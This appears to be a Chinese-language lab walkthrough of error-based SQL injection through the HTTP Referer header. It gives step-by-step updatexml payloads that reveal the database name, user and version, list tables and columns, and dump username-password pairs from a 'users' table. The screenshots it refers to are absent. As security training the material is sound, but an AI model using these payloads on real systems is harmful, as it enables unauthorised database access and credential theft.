1、判断闭合方式
我们先使用burp破解出一个正确的账号和密码,返回正常的页面,如下:
它显示了Referer,我们大胆猜测注入点在这里。
我们在截取的数据包中的Referer上加上一个'。返回页面如下:
出现报错。这说明闭合方式就是'。
在进行一次验证,在referer的后面输入
'#
这时就不会报错了,可以确定闭合方式是单引号
2、确定注入方式
在判断闭合方式时,我们发现该网站会返回错误,说明该网站适合使用报错注入。
3、爆破数据库名,用户名,版本
输入语句
1',updatexml(1,concat('~',concat(database(),'~',user(),'~',version())),1)) #
,返回页面如下:
4、爆破数据表名
输入语句
1',updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)) #
,返回页面如下:
5、爆破列名
输入语句
1',updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),'~'),1)) #
,返回页面如下:
6、爆破字段内容
输入语句
1',updatexml(1,concat('~',(select group_concat(username,'-',password) from users),'~'),1)) #
,返回页面如下:
我们发现数据没有显示完全,我们还使用mid函数,比如输入语句
1',updatexml(1,concat('~',mid((select group_concat(username,'-',password) from users),12,12),'~'),1)) #
,该语句表示显示第12个字符后面的12个字符(包括第12个字符)。返回页面如下: